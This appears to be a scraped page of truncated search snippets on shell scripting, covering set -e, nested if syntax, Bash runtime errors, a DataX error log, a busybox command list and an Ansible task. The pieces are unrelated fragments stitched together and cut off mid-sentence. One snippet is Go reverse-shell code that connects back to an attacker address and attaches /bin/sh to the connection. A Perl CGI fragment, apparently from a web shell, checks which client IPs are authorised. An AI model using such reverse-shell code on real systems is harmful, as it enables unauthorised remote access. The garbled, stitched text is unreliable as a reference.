dd this to the beginning of the script: set-e This will cause the shell to exit immediately if a simple command exits with a nonzero exit value. A simple command is any command not part of an if, while, or until test, or part of an && or || list. See thebash(1) man pageon ...
The shell does not exit if the command that fails is part of the command list immediately following a while or until keyword, part of the test following the if or elif reserved words, part of any command executed in a&&or||list except the command following the final&&or||, any command ...
if [ condition1 ];then command1 if [ condition2 ];then command2 fi else if [ condition3 ];then command3 elif [ condition4 ];then command4 else command5 fi fi 注释:如果条件1满足,执行命令1;如果条件2也满足执行命令2,如果不满足就只执行命令1结束;如果条件1不满足,不看条件2;直接看条件3,如...
{ // Connecting back to the attacker // If it fails, we exit the program conn, err := net.Dial("tcp", "192.168.0.23:2233") if err != nil { os.Exit(1) } // Creating a /bin/sh process cmd := exec.Command("/bin/sh") // Connecting stdin and stdout // to the opened ...
if requiredif(defined($ENV{'REMOTE_ADDR'})){cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");if($auth){unless($ENV{'REMOTE_ADDR'}=~$authorised_client_pattern){cgiprint("ERROR: Your client isn't authorised to view this page");cgiexit();}}}elsif($auth){cgiprint...
Dataphin中使用Shell任务调用Datax脚本,将MaxCompute数据同步至OSS,补数据运行报错“Shell command exit with code: 247”。完整的报错日志如下展示:2022-07-08 13:45:10.962 [0-0-0-writer] INFO OssWriter$Task - upload part [191] size [10485812] Byte has been completed.2022-07-08 13:45:11.389 [0...
eval exec exit export false getoptshash help let local pwd read readonly return set shift times trap ture type ulimitumask unalias unset wait [[[ash awk hasename busybox cat chmod chroot chrt clear cmpcp cut deallocvt dumpkmap echo egrep env expr false fbset fdflush fgrep grep hostnameif...
Incorrect use of a compound command when defining a Bash Function Runtime ErrorA Runtime Error will be the next level of errors. The shell script runs with no syntax errors but fails to execute reliably certain tasks. The most common runtime errors in a shell script include: Division by ze...
The key should be set only on certain machines. If a model is not set in the script, the script should skip (As you can see in the script). But it even fails for machines, that arent in the list. Anyway, i created a workround. I set some WMI-Queries for the tasksequence-step....
Executes a shell scriptlocalhostno-name:Execute the shell scriptshell:./myscript.shignore_errors:trueregister:result-name:Shows the result of executing the scriptdebug:msg:-"Return code...: {{ result.rc }}"-"{{ result.stdout_lines }}" ...